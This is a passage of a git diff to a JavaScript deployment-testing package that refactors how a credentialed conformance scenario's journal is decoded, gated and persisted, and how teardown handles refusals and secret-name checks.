+ Object.keys(shape).filter((key) => shape[key]?.[NULLABLE] === true); const scenarioFlag = scenarioEnum(true, false); const boundedArray = (schema, max) => { if (!Number.isSafeInteger(max) || max < 0) invalid(); @@ -623,7 +641,7 @@ const footprintShape = { database: { id: scenarioId, expectedName: scenarioId, observedName: null }, worker: { scriptName: scenarioId, - scriptPresent: scenarioEnum(true, false), + scriptPresent: scenarioFlag, workersDevEnabled: scenarioEnum(false, null), previewUrlsEnabled: scenarioEnum(false, null), customDomains: noEntries, @@ -758,7 +776,7 @@ const operationsShape = boundedArray( const recordsShape = boundedArray( { role: scenarioRole, - present: scenarioEnum(true, false), + present: scenarioFlag, phase: nullable(scenarioId), desiredSpecDigest: nullable(digest), pendingSpecDigest: nullable(digest), @@ -849,6 +867,106 @@ const fenceProbesShape = { mutationEpoch: scenarioNumber, ordinal: scenarioNumber, }; +const fenceGroupShape = Object.freeze({ + drain: fenceTransitionShape, + sweeps: fenceSweepsShape, + reopen: fenceTransitionShape, + probes: fenceProbesShape, +}); +// One schema, built once: `decodeScenario` reads it on every call rather +// than rebuilding the nested literal, so the module carries one shape idiom. +const scenarioSchema = { + version: 1, + phase: scenarioEnum(...DIRECT_SCENARIO_PHASES), + startedOrdinal: scenarioNumber, + callCount: scenarioNumber, + phaseCalls: Object.fromEntries( + DIRECT_SCENARIO_PHASES.map((phase) => [phase, scenarioNumber]), + ), + attempts: attemptsShape, + sdkRequests: scenarioNumber, + inventoryCalls: { before: scenarioNumber, after: scenarioNumber }, + lastCall: nullable(callShape), + mutation: nullable(callShape), + reconciledOrdinal: scenarioNumber, + operations: operationsShape, + records: recordsShape, + failure: nullable({ + code: scenarioEnum(...DIRECT_SCENARIO_FAILURES), + ordinal: scenarioNumber, + detail: optional(scenarioEnum(...DIRECT_SCENARIO_FAILURE_DETAILS)), + }), + proofs: { + initial: { + a: nullable(workerVersionShape), + b: nullable(workerVersionShape), + recovery: nullable(workerVersionShape), + }, + candidate: { + a: nullable(workerVersionShape), + b: nullable(workerVersionShape), + }, + final: { + a: nullable(workerVersionShape), + b: nullable(workerVersionShape), + }, + objects: { + a: nullable({ size: scenarioNumber, sha256: digest }), + b: nullable({ size: scenarioNumber, sha256: digest }), + }, + objectDeletions: { + a: nullable(scenarioNumber), + b: nullable(scenarioNumber), + }, + recoveryExportAbsent: { + beforeOrdinal: nullable(scenarioNumber), + afterOrdinal: nullable(scenarioNumber), + }, + health: healthShape, + inventories: { + before: nullable(inventoryShape), + after: nullable(inventoryShape), + }, + audits: { before: nullable(auditShape), after: nullable(auditShape) }, + fence: Object.fromEntries( + Object.entries(fenceGroupShape).map(([group, shape]) => [ + group, + { a: nullable(shape), b: nullable(shape) }, + ]), + ), + restart: nullable({ + process: processShape, + resumedProcess: nullable(processShape), + lossOrdinal: scenarioNumber, + operationId: scenarioId, + witnessSha256: digest, + claimSha256: digest, + successorSha256: digest, + itemsSha256: digest, + replayOrdinal: nullable(scenarioNumber), + }), + steps: stepsShape, + effects: effectsShape, + cleanup: nullable(cleanupShape), + exports: { a: nullable(exportShape), b: nullable(exportShape) }, + exportVerifications: exportVerificationsShape, + decommission: { + a: nullable(decommissionShape), + b: nullable(decommissionShape), + }, + terminalForce: { + a: nullable({ + databaseId: scenarioId, + scriptName: scenarioId, + ordinal: scenarioNumber, + attempts: attemptsShape, + }), + }, + force: nullable(footprintShape), + residual: nullable(footprintShape), + }, +}; + function decodeScenario(value, invocationCount) { if ( value && @@ -858,109 +976,7 @@ function decodeScenario(value, invocationCount) { value.version !== 1 ) throw new DirectRunStateError('unsupported-scenario-version'); - const result = scenarioShape(value, { - version: 1, - phase: scenarioEnum(...DIRECT_SCENARIO_PHASES), - startedOrdinal: scenarioNumber, - callCount: scenarioNumber, - phaseCalls: Object.fromEntries( - DIRECT_SCENARIO_PHASES.map((phase) => [phase, scenarioNumber]), - ), - attempts: attemptsShape, - sdkRequests: scenarioNumber, - inventoryCalls: { before: scenarioNumber, after: scenarioNumber }, - lastCall: nullable(callShape), - mutation: nullable(callShape), - reconciledOrdinal: scenarioNumber, - operations: operationsShape, - records: recordsShape, - failure: nullable({ - code: scenarioEnum(...DIRECT_SCENARIO_FAILURES), - ordinal: scenarioNumber, - detail: optional(scenarioEnum(...DIRECT_SCENARIO_FAILURE_DETAILS)), - }), - proofs: { - initial: { - a: nullable(workerVersionShape), - b: nullable(workerVersionShape), - recovery: nullable(workerVersionShape), - }, - candidate: { - a: nullable(workerVersionShape), - b: nullable(workerVersionShape), - }, - final: { - a: nullable(workerVersionShape), - b: nullable(workerVersionShape), - }, - objects: { - a: nullable({ size: scenarioNumber, sha256: digest }), - b: nullable({ size: scenarioNumber, sha256: digest }), - }, - objectDeletions: { - a: nullable(scenarioNumber), - b: nullable(scenarioNumber), - }, - recoveryExportAbsent: { - beforeOrdinal: nullable(scenarioNumber), - afterOrdinal: nullable(scenarioNumber), - }, - health: healthShape, - inventories: { - before: nullable(inventoryShape), - after: nullable(inventoryShape), - }, - audits: { before: nullable(auditShape), after: nullable(auditShape) }, - fence: { - drain: { - a: nullable(fenceTransitionShape), - b: nullable(fenceTransitionShape), - }, - sweeps: { - a: nullable(fenceSweepsShape), - b: nullable(fenceSweepsShape), - }, - reopen: { - a: nullable(fenceTransitionShape), - b: nullable(fenceTransitionShape), - }, - probes: { - a: nullable(fenceProbesShape), - b: nullable(fenceProbesShape), - }, - }, - restart: nullable({ - process: processShape, - resumedProcess: nullable(processShape), - lossOrdinal: scenarioNumber, - operationId: scenarioId, - witnessSha256: digest, - claimSha256: digest, - successorSha256: digest, - itemsSha256: digest, - replayOrdinal: nullable(scenarioNumber), - }), - steps: stepsShape, - effects: effectsShape, - cleanup: nullable(cleanupShape), - exports: { a: nullable(exportShape), b: nullable(exportShape) }, - exportVerifications: exportVerificationsShape, - decommission: { - a: nullable(decommissionShape), - b: nullable(decommissionShape), - }, - terminalForce: { - a: nullable({ - databaseId: scenarioId, - scriptName: scenarioId, - ordinal: scenarioNumber, - attempts: attemptsShape, - }), - }, - force: nullable(footprintShape), - residual: nullable(footprintShape), - }, - }); + const result = scenarioShape(value, scenarioSchema); if ( result.startedOrdinal > invocationCount || result.callCount > invocationCount - result.startedOrdinal || @@ -1094,20 +1110,13 @@ function validateScenarioProofs(state, invocationCount) { ...Object.values(proof.recoveryExportAbsent), ...proof.health.map((entry) => entry.ordinal), ...proof.steps.map((entry) => entry.ordinal), - ...Object.values(proof.fence.drain).flatMap((entry) => - entry && entry.ordinal !== null ? [entry.ordinal] : [], - ), - ...Object.values(proof.fence.reopen).flatMap((entry) => - entry && entry.ordinal !== null ? [entry.ordinal] : [], - ), - ...Object.values(proof.fence.probes).flatMap((entry) => - entry ? [entry.ordinal] : [], - ), - ...Object.values(proof.fence.sweeps).flatMap((entry) => - entry ? [entry.first.ordinal] : [], + // A null reaches the bound check and is skipped there, so each group + // contributes whatever ordinal it carries. + ...['drain', 'reopen', 'probes'].flatMap((group) => + Object.values(proof.fence[group]).map((entry) => entry?.ordinal ?? null), ), ...Object.values(proof.fence.sweeps).flatMap((entry) => - entry && entry.second !== null ? [entry.second.ordinal] : [], + entry ? [entry.first.ordinal, entry.second?.ordinal ?? null] : [], ), ]) if (ordinal !== null) need(ordinal <= invocationCount); @@ -1162,16 +1171,12 @@ function bootstrapContext(value, binding) { const zoneName = identifier(value.zoneName, 253); if ( !/^[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?$/u.test(zoneName) || - zoneName - .split('.') - .some( - (label) => !/^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u.test(label), - ) || + zoneName.split('.').some((label) => !DNS_LABEL.test(label)) || (ownedHostname !== zoneName && !ownedHostname.endsWith(`.${zoneName}`)) ) invalid(); const subdomain = identifier(value.accountWorkersDevSubdomain); - if (!/^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u.test(subdomain)) invalid(); + if (!DNS_LABEL.test(subdomain)) invalid(); object(value.dispatch, ['kind', 'count']); const { kind, count } = value.dispatch; if ( @@ -1312,7 +1317,6 @@ const teardownText = (max) => (value) => { if (Buffer.byteLength(value) > max) invalid(); return value; }; -const teardownFlag = scenarioEnum(true, false); const teardownSettleAttempts = (value) => { scenarioNumber(value); if (value < 1 || value > DIRECT_TEARDOWN_MAXIMA.settleAttempts) invalid(); @@ -1330,7 +1334,7 @@ const residualSurfaceShape = { DIRECT_TEARDOWN_MAXIMA.prefixNames, ), globalCount: nullable(scenarioNumber), - exhaustive: teardownFlag, + exhaustive: scenarioFlag, }; const residualShape = { version: 1, @@ -1344,12 +1348,12 @@ const residualShape = { status: nullable(scenarioNumber), prefixCount: scenarioNumber, }, - versionsGone: nullable(teardownFlag), + versionsGone: nullable(scenarioFlag), settleAttempts: teardownSettleAttempts, }; const teardownSettlement = { ordinal: scenarioNumber, - settledByReread: teardownFlag, + settledByReread: scenarioFlag, }; const teardownShape = { version: 1, @@ -1448,7 +1452,18 @@ function decodeTeardown(value) { return result; } -function assertPrivate(stat, directory) { +// The narrower of the two pending gates: an invocation or bootstrap mutation +// whose outcome the journal does not know. `assertSettled` adds teardown's own +// pending mutation; the paths that publish a teardown receipt do not, because +// that mutation is the one they are recording. +export function mutationPending(snapshot) { + return ( + snapshot.lastInvocation?.state === 'pending' || + Boolean(snapshot.bootstrap?.pending) + ); +} + +export function assertPrivate(stat, directory) { if ( stat.uid !== process.getuid() || (stat.mode & 0o7777) !== (directory ? 0o700 : 0o600) || @@ -1457,7 +1472,7 @@ function assertPrivate(stat, directory) { invalid(); } -function fileFlags(access) { +export function fileFlags(access) { return access | constants.O_NOFOLLOW | constants.O_NONBLOCK; } @@ -1564,8 +1579,28 @@ function serialize(snapshot) { return `${JSON.stringify(snapshot)}\n`; } +// The staging name a snapshot is written under, before the rename that makes +// it `journal.json`. +const JOURNAL_TEMPORARY_PREFIX = '.journal-'; +const JOURNAL_TEMPORARY_SUFFIX = '.tmp'; + +// A signal between a snapshot's create and its rename leaves the staging file +// behind. The run holds the directory's lock, so any sibling left there is a +// dead one from an interrupted publication. +async function sweepStagedSnapshots(directory) { + for (const name of await readdir(directory)) + if ( + name.startsWith(JOURNAL_TEMPORARY_PREFIX) && + name.endsWith(JOURNAL_TEMPORARY_SUFFIX) + ) + await unlink(join(directory, name)); +} + async function writeSnapshot(directory, handle, snapshot) { - const temporary = join(directory, `.journal-${randomUUID()}.tmp`); + const temporary = join( + directory, + `${JOURNAL_TEMPORARY_PREFIX}${randomUUID()}${JOURNAL_TEMPORARY_SUFFIX}`, + ); let file; let created = false; try { @@ -1670,6 +1705,10 @@ function runJournal(directory, directoryHandle, base, lock, initial) { throw error; } }; + // Every publication decodes the whole snapshot, whatever the caller already + // decoded for its own checks: what reaches the journal is what a resume will + // read back. A caller that has just decoded one section therefore pays a + // second decode of it, and that is the price of the invariant. const publishSnapshot = async (fields) => { const next = await decodeSnapshot( { ...snapshot, ...fields }, @@ -1679,11 +1718,7 @@ function runJournal(directory, directoryHandle, base, lock, initial) { }; const publishBootstrap = (bootstrap) => publishSnapshot({ bootstrap }); const assertSettled = () => { - if ( - snapshot.lastInvocation?.state === 'pending' || - snapshot.bootstrap?.pending || - snapshot.teardown?.pending - ) + if (mutationPending(snapshot) || snapshot.teardown?.pending) throw new DirectRunStateError('outcome-unknown'); }; const teardownStarted = () => @@ -1761,12 +1796,11 @@ function runJournal(directory, directoryHandle, base, lock, initial) { ); } } - for (const [group, later] of [ - ['drain', ['after', 'ordinal']], - ['reopen', ['after', 'ordinal']], - ['sweeps', ['second', 'intervalMs']], - ['probes', []], - ]) + // Which members may still arrive is the decode shape's own + // statement: a member it admits as null is one a later record may + // fill, and every other member is preserved as recorded. + for (const [group, shape] of Object.entries(fenceGroupShape)) { + const later = nullableKeys(shape); for (const role of ['a', 'b']) { const entry = previous.proofs.fence[group][role]; if (entry === null) continue; @@ -1776,6 +1810,7 @@ function runJournal(directory, directoryHandle, base, lock, initial) { if (!later.includes(key) || expected !== null) equalShape(fresh[key], expected); } + } for (const role of ['a', 'b']) { if (previous.proofs.exports[role]) { const { sourceInvocationOrdinal, ...proof } = @@ -1804,10 +1839,7 @@ function runJournal(directory, directoryHandle, base, lock, initial) { }, recordResume() { return enqueue(async () => { - if ( - snapshot.lastInvocation?.state === 'pending' || - snapshot.bootstrap?.pending - ) + if (mutationPending(snapshot)) throw new DirectRunStateError('outcome-unknown'); const current = snapshot.resumeCount ?? 0; if (current >= DIRECT_RUN_MAX_RESUME_COUNT) return; @@ -1817,19 +1849,27 @@ function runJournal(directory, directoryHandle, base, lock, initial) { recordTeardown(value) { return enqueue(async () => { // Receipts publish while their own mutation is still pending, so this - // path checks the invocation and bootstrap gates without `assertSettled`. - if ( - snapshot.lastInvocation?.state === 'pending' || - snapshot.bootstrap?.pending - ) + // path takes the narrower gate rather than `assertSettled`. + if (mutationPending(snapshot)) throw new DirectRunStateError('outcome-unknown'); const teardown = decodeTeardown(value); const previous = snapshot.teardown; if (previous) { const position = (phase) => DIRECT_TEARDOWN_PHASES.indexOf(phase); + // A recorded refusal re-enters deletion only when its reason is one + // a later run can clear, and then only into the phase that follows + // it, so re-entry takes the same one-step progression as any other + // advance. + const reenterable = + previous.phase === 'refused' && + DIRECT_TEARDOWN_RECOVERABLE_FAILURES.includes(previous.failure); if ( previous.phase === 'refused' - ? teardown.phase !== 'refused' + ? teardown.phase !== 'refused' && + !( + reenterable && + position(teardown.phase) === position('refused') + 1 + ) : teardown.phase === 'refused' || position(teardown.phase) < position(previous.phase) || position(teardown.phase) > position(previous.phase) + 1 @@ -2066,11 +2106,9 @@ export async function openDirectRunState(input) { if (!(await exists(directory))) throw new DirectRunStateError('run-missing'); directoryHandle = await privateDirectory(directory); + await sweepStagedSnapshots(directory); snapshot = await readSnapshot(join(directory, 'journal.json'), binding); - if ( - snapshot.lastInvocation?.state === 'pending' || - snapshot.bootstrap?.pending - ) + if (mutationPending(snapshot)) throw new DirectRunStateError('outcome-unknown'); } return runJournal(directory, directoryHandle, base, lock, snapshot); @@ -2097,6 +2135,7 @@ export async function inspectDirectRunState(input) { ); let closePromise; return Object.freeze({ + directory: attached.directory, snapshot, close() { closePromise ??= (async () => { diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs index 742af208..ebf637dd 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-scenario-budget.mjs @@ -5,7 +5,10 @@ // cumulative cap on one phase across resumes, wide enough for re-entries that each // repeat the entry `sync()` and its observation. Ceilings bound a runaway phase and // may sum past the configured budget, because they are a cap and not a reservation. -// `reserve` is 1.25x measured rounded up to a multiple of 4, minimum 4. +// `reserve` is what a phase holds back for itself and the phases after it: +// `checkInvocationHeadroom` refuses a call once the remaining budget falls +// below the reserves still to come, so a run that cannot reach `complete` +// stops at the phase that discovers it rather than part-way through a later one. // DIRECT_SCENARIO_MIN_INVOCATIONS adds the bootstrap control read and resume // headroom to the sum of every `reserve`: it is the floor // `referenceWorker.maxInvocations` clears. diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-checks.d.mts b/packages/fleet-control/scripts/direct-credentialed-scenario-checks.d.mts index 5fde911e..7f728fdd 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario-checks.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-scenario-checks.d.mts @@ -7,6 +7,7 @@ import type { DirectWorkerVersionObservation, } from './direct-credentialed-observations.mjs'; import type { + DIRECT_SCENARIO_FAILURE_DETAILS, DIRECT_SCENARIO_OPERATION_SLOTS, DirectRunActionSummary, } from './direct-credentialed-run-state.mjs'; @@ -150,10 +151,15 @@ export interface DirectScenarioAllowedChanges { export const NORMAL_ROLES: readonly DirectScenarioNormalRole[]; export const SCENARIO_ROLES: readonly DirectFixtureRole[]; +/** + * `detail` is the scenario's own failure-detail vocabulary, so a producer + * cannot spell one the journal schema and the evidence projection would then + * drop. + */ export function requireFact( condition: unknown, code?: string, - detail?: string, + detail?: (typeof DIRECT_SCENARIO_FAILURE_DETAILS)[number], ): asserts condition; export function equal(actual: unknown, expected: unknown): void; export function parse(value: unknown): unknown; @@ -180,8 +186,13 @@ export function expectedVersion( release: '1' | '2', candidate?: boolean, ): DirectExpectedWorkerVersion; +/** The check reads items one and two, so it takes a pair or longer. */ export function checkItemConvergence( - items: readonly DirectScenarioMigrationItem[], + items: readonly [ + DirectScenarioMigrationItem, + DirectScenarioMigrationItem, + ...DirectScenarioMigrationItem[], + ], ): void; export function checkTrafficDistribution( candidate: DirectWorkerVersionObservation, diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs index d8b30fac..ab0ca681 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs @@ -49,8 +49,11 @@ export function phaseInvocationReserve(phase) { } export function checkInvocationHeadroom(phase, phaseCalls, remaining) { + requireFact( + Number.isSafeInteger(remaining) && remaining >= 0, + 'invalid-input', + ); requireFact(remaining > 0, 'invocation-budget-exhausted'); - requireFact(Number.isSafeInteger(remaining), 'invalid-input'); requireFact( Object.hasOwn(DIRECT_SCENARIO_INVOCATION_BUDGET, phase), 'invalid-input', @@ -129,6 +132,7 @@ export function expectedVersion(record, release, candidate = false) { } export function checkItemConvergence(items) { + requireFact(Array.isArray(items) && items.length >= 2); if (items[1].status !== 'pending') equal(items[0].status, 'complete'); } @@ -139,7 +143,9 @@ export function checkTrafficDistribution(candidate, previous) { [previous.versionId, 100], [candidate.versionId, 0], ]); - equal(candidate.currentDeployment.versions.length, weights.size); + // The staged deployment carries the previous version and the candidate, so + // the count is two and does not follow the map the comparison below builds. + equal(candidate.currentDeployment.versions.length, 2); equal( new Map( candidate.currentDeployment.versions.map((entry) => [ diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts b/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts index c57c46e7..c305aad9 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts @@ -44,14 +44,17 @@ interface ScenarioCall { | 'injected-response-loss' | 'reference-refused'; readonly attempts: DirectInvocationAttempts | null; - /** Settled force-terminal calls require a nullable before identity; prepared and other calls omit it. */ - readonly before?: Readonly<{ databaseId: string; scriptName: string }> | null; readonly migration: Readonly<{ itemOrdinal: 0 | 1; cursor: number; step: string; itemsSha256: string; }> | null; + /** + * Settled force-terminal calls require a nullable before identity; prepared + * and other calls omit it. Declared last, as `callShape` persists it. + */ + readonly before?: Readonly<{ databaseId: string; scriptName: string }> | null; } interface ScenarioProcess { readonly pid: number; diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario.mjs index 46417f10..579814a2 100644 --- a/packages/fleet-control/scripts/direct-credentialed-scenario.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-scenario.mjs @@ -14,6 +14,7 @@ import { DIRECT_SCENARIO_FAILURE_DETAILS, DIRECT_SCENARIO_FAILURES, DirectRunStateError, + isForceIdentity, } from './direct-credentialed-run-state.mjs'; import { DIRECT_SCENARIO_MIN_INVOCATIONS, @@ -173,18 +174,8 @@ export async function runDirectCredentialedScenario(input) { attempts, }; if (action.kind === 'force-terminal') { - const before = error ? null : response?.result?.before; - requireFact( - before === null || - (typeof before === 'object' && - !Array.isArray(before) && - Object.keys(before).length === 2 && - Object.hasOwn(before, 'databaseId') && - Object.hasOwn(before, 'scriptName') && - typeof before.databaseId === 'string' && - typeof before.scriptName === 'string'), - 'observation-mismatch', - ); + const before = error ? null : response.result?.before; + requireFact(isForceIdentity(before), 'observation-mismatch'); settled.before = before; } state.lastCall = settled; @@ -315,6 +306,23 @@ export async function runDirectCredentialedScenario(input) { state.proofs.fence[operation][role].ordinal = state.mutation.ordinal; await persist(); }; + const fenceStage = async (role, operation) => { + if (state.proofs.fence[operation][role] === null) { + const before = await invoke({ + kind: 'tenant-fence', + role, + operation: 'read', + }); + state.proofs.fence[operation][role] = { + before, + after: null, + ordinal: null, + }; + await persist(); + } + if (state.proofs.fence[operation][role].after === null) + await fenceTransition(role, operation); + }; const fenceSweep = async (role) => { const result = await invoke({ kind: 'tenant-fence', @@ -461,7 +469,7 @@ export async function runDirectCredentialedScenario(input) { const routeHostnames = routes .flatMap((rows) => rows.map((row) => row.hostname)) .sort(); - equal(routeHostnames.length, 2); + equal(routeHostnames.length, NORMAL_ROLES.length); const proof = { operationId: selected.operationId, generation: selected.generation, @@ -488,6 +496,11 @@ export async function runDirectCredentialedScenario(input) { proof.scriptNames, NORMAL_ROLES.map((role) => prepared.names.roles[role].scriptName).sort(), ); + for (const [index, role] of NORMAL_ROLES.entries()) + equal( + routes[index].map((row) => row.hostname), + [prepared.names.roles[role].routeHostname], + ); if (when === 'after') { requireFact( proof.generation > state.proofs.inventories.before.generation, @@ -496,11 +509,6 @@ export async function runDirectCredentialedScenario(input) { proof.routeHostnames, state.proofs.inventories.before.routeHostnames, ); - for (const [index, role] of NORMAL_ROLES.entries()) - equal( - routes[index].map((row) => row.hostname), - [prepared.names.roles[role].routeHostname], - ); } state.proofs.inventories[when] = proof; await persist(); @@ -854,21 +862,7 @@ export async function runDirectCredentialedScenario(input) { break; case 'fence-drain': for (const role of NORMAL_ROLES) { - if (state.proofs.fence.drain[role] === null) { - const before = await invoke({ - kind: 'tenant-fence', - role, - operation: 'read', - }); - state.proofs.fence.drain[role] = { - before, - after: null, - ordinal: null, - }; - await persist(); - } - if (state.proofs.fence.drain[role].after === null) - await fenceTransition(role, 'drain'); + await fenceStage(role, 'drain'); if (state.proofs.fence.sweeps[role] === null) { const first = await fenceSweep(role); state.proofs.fence.sweeps[role] = { @@ -893,21 +887,7 @@ export async function runDirectCredentialedScenario(input) { ); await persist(); } - if (state.proofs.fence.reopen[role] === null) { - const before = await invoke({ - kind: 'tenant-fence', - role, - operation: 'read', - }); - state.proofs.fence.reopen[role] = { - before, - after: null, - ordinal: null, - }; - await persist(); - } - if (state.proofs.fence.reopen[role].after === null) - await fenceTransition(role, 'reopen'); + await fenceStage(role, 'reopen'); } await advancePhase(); break; @@ -1112,26 +1092,17 @@ export async function runDirectCredentialedScenario(input) { prior?.action.kind === 'force-terminal' && prior.action.role === 'a'; if (resumed) { - // The force settles and persists its attempts before returning. - // Repeating it answers from the absent-record branch and replaces - // the deleting call's witness with a no-op's zeros. + // The force settles and persists its attempts and the identity it + // deleted before returning. Repeating it answers from the + // absent-record branch, which replaces the deleting call's witness + // with a no-op's zeros and its `before` with null, so the + // settlement this run persisted is what proves the call deleted + // the row. A prior that settled any other way is therefore + // terminal here: re-issuing the force recovers neither witness. requireFact( prior.outcome === 'returned' && prior.attempts !== null, 'proof-unavailable', ); - equal(prior.attempts, zeroAttempts()); - equal(prior.before, { - databaseId: state.proofs.decommission.a.databaseId, - scriptName: state.proofs.decommission.a.scriptName, - }); - await sync(); - equal(record('a'), { role: 'a', present: false }); - state.proofs.terminalForce.a = { - databaseId: prior.before.databaseId, - scriptName: prior.before.scriptName, - ordinal: prior.ordinal, - attempts: prior.attempts, - }; } else { const result = await mutate({ kind: 'force-terminal', @@ -1140,20 +1111,21 @@ export async function runDirectCredentialedScenario(input) { requireFact( result.returned === true && result.after.present === false, ); - equal(state.mutation.attempts, zeroAttempts()); - equal(result.before, { - databaseId: state.proofs.decommission.a.databaseId, - scriptName: state.proofs.decommission.a.scriptName, - }); - await sync(); - equal(record('a'), { role: 'a', present: false }); - state.proofs.terminalForce.a = { - databaseId: result.before.databaseId, - scriptName: result.before.scriptName, - ordinal: state.mutation.ordinal, - attempts: state.mutation.attempts, - }; } + const settled = resumed ? prior : state.mutation; + equal(settled.attempts, zeroAttempts()); + equal(settled.before, { + databaseId: state.proofs.decommission.a.databaseId, + scriptName: state.proofs.decommission.a.scriptName, + }); + await sync(); + equal(record('a'), { role: 'a', present: false }); + state.proofs.terminalForce.a = { + databaseId: settled.before.databaseId, + scriptName: settled.before.scriptName, + ordinal: settled.ordinal, + attempts: settled.attempts, + }; await persist(); } await advancePhase(); @@ -1162,6 +1134,9 @@ export async function runDirectCredentialedScenario(input) { case 'force-recovery': { await sync(); if (control.forceBefore) { + // The recorded force is what `forceBefore` came from, so a + // settlement this run cannot read leaves the phase terminal: + // a second force observes its own call, not the one that ran. requireFact( state.mutation?.action.kind === 'force-recovery' && state.mutation.outcome === 'returned', diff --git a/packages/fleet-control/scripts/direct-credentialed-teardown.d.mts b/packages/fleet-control/scripts/direct-credentialed-teardown.d.mts index ea31f201..9aa98dad 100644 --- a/packages/fleet-control/scripts/direct-credentialed-teardown.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-teardown.d.mts @@ -2,6 +2,7 @@ import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs'; import type { + DirectBootstrapState, DirectResidualObservation, DirectRunJournal, DirectTeardownFailure, @@ -47,6 +48,16 @@ export type DirectTeardownOutcome = facts: DirectTeardownProofs; }>; +/** + * The identities a teardown has not removed. A receipt for a resource means the + * resource is gone, so the identity it carried is no longer retained; the + * evidence projection reads this derivation rather than repeating it. + */ +export function survivingIdentities( + bootstrap: DirectBootstrapState | null | undefined, + receipts: Partial, +): DirectTeardownProofs['retainedIdentities']; + export function teardownDirectReference( input: Readonly<{ prepared: PreparedDirectConformance; diff --git a/packages/fleet-control/scripts/direct-credentialed-teardown.mjs b/packages/fleet-control/scripts/direct-credentialed-teardown.mjs index 284e7dcd..6db9b2f4 100644 --- a/packages/fleet-control/scripts/direct-credentialed-teardown.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-teardown.mjs @@ -18,7 +18,12 @@ import { DIRECT_RESIDUAL_SURFACES, DIRECT_TEARDOWN_FAILURES, DIRECT_TEARDOWN_MAXIMA, + DIRECT_TEARDOWN_RECOVERABLE_FAILURES, + REFERENCE_SECRET_NAMES, +} from './direct-credentialed-reference-vocabulary.mjs'; +import { DirectRunStateError, + mutationPending, } from './direct-credentialed-run-state.mjs'; const ERROR_CODES = new Set(DIRECT_TEARDOWN_FAILURES); @@ -32,13 +37,14 @@ const PROVIDER_CODES = Object.freeze({ const SETTLE_DELAY_MS = 3_000; const OBJECT_SETTLE_ATTEMPTS = 3; const OBJECT_SETTLE_DELAY_MS = 2_000; -// The reference upload binds exactly these secrets. Teardown asserts the set it -// observes instead of following whatever the script currently carries. -const REFERENCE_SECRET_NAMES = Object.freeze([ - 'CLOUDFLARE_API_TOKEN', - 'DIRECT_DEPLOYMENT_SECRETS', - 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', -]); +// Teardown asserts the set it observes against the set the reference upload +// binds, sorted because a listing's order is the provider's. Reading the +// upload's own list makes a bootstrap-side change visible here. +const EXPECTED_SECRET_NAMES = Object.freeze([...REFERENCE_SECRET_NAMES].sort()); +// Exactly the two receipt objects a complete scenario exports; the journal's +// `exportObjects` maximum bounds what a record may carry and is not this +// expectation. +const CONFIRMED_EXPORT_KEYS = 2; const BOOTSTRAP_RECEIPTS = Object.freeze([ 'fleet', 'quota', @@ -55,13 +61,6 @@ const EMPTY_RECEIPTS = Object.freeze({ exportObjects: Object.freeze([]), exports: null, }); -const NO_IDENTITIES = Object.freeze({ - fleetUuid: null, - quotaUuid: null, - exportBucket: null, - scriptName: null, - activeVersionId: null, -}); const MUTATION_OPTIONS = Object.freeze({ maxRetries: 0 }); export class DirectTeardownError extends Error { @@ -157,7 +156,7 @@ function checkedInput(input) { } } -function survivingIdentities(bootstrap, receipts) { +export function survivingIdentities(bootstrap, receipts) { return Object.freeze({ fleetUuid: receipts.fleet ? null : (bootstrap?.fleet?.uuid ?? null), quotaUuid: receipts.quota ? null : (bootstrap?.quota?.uuid ?? null), @@ -182,8 +181,7 @@ function confirmedExportKeys(scenario, prefix) { add(scenario?.proofs.exports.a); add(scenario?.proofs.exports.b); for (const proof of scenario?.proofs.exportVerifications ?? []) add(proof); - if (keys.length !== DIRECT_TEARDOWN_MAXIMA.exportObjects) - refuse('invalid-state'); + if (keys.length !== CONFIRMED_EXPORT_KEYS) refuse('invalid-state'); return keys; } @@ -198,7 +196,7 @@ export async function teardownDirectReference(input) { reason: code, phase: 'refused', facts: Object.freeze({ - retainedIdentities: NO_IDENTITIES, + retainedIdentities: survivingIdentities(null, EMPTY_RECEIPTS), receipts: EMPTY_RECEIPTS, residual: null, providerRequests: 0, @@ -254,11 +252,7 @@ export async function teardownDirectReference(input) { residual = teardown.residual; }; try { - if ( - snapshot.lastInvocation?.state === 'pending' || - snapshot.bootstrap?.pending - ) - refuse('outcome-unknown'); + if (mutationPending(snapshot)) refuse('outcome-unknown'); if (!bootstrap || BOOTSTRAP_RECEIPTS.some((key) => !bootstrap[key])) refuse('invalid-state'); if (phase === 'complete' && teardown.failure === null) @@ -267,10 +261,15 @@ export async function teardownDirectReference(input) { const script = names.referenceWorker; const bucket = bootstrap.exports.name; const zoneId = bootstrap.context.zoneId; - // A recorded refusal is terminal for automation: it never advances into a - // deletion phase, whatever the scenario reached afterwards. + // A recorded refusal is terminal for automation unless its reason is one a + // later run clears: an incomplete scenario, or an invocation or bootstrap + // mutation that was pending. The two operands beside it are the + // preconditions themselves, so a re-entry advances only once they hold; + // an identity mismatch, a forbidden answer and an exhausted budget stay + // terminal. const refusing = - teardown?.phase === 'refused' || + (teardown?.phase === 'refused' && + !DIRECT_TEARDOWN_RECOVERABLE_FAILURES.includes(teardown.failure)) || snapshot.scenario?.phase !== 'complete' 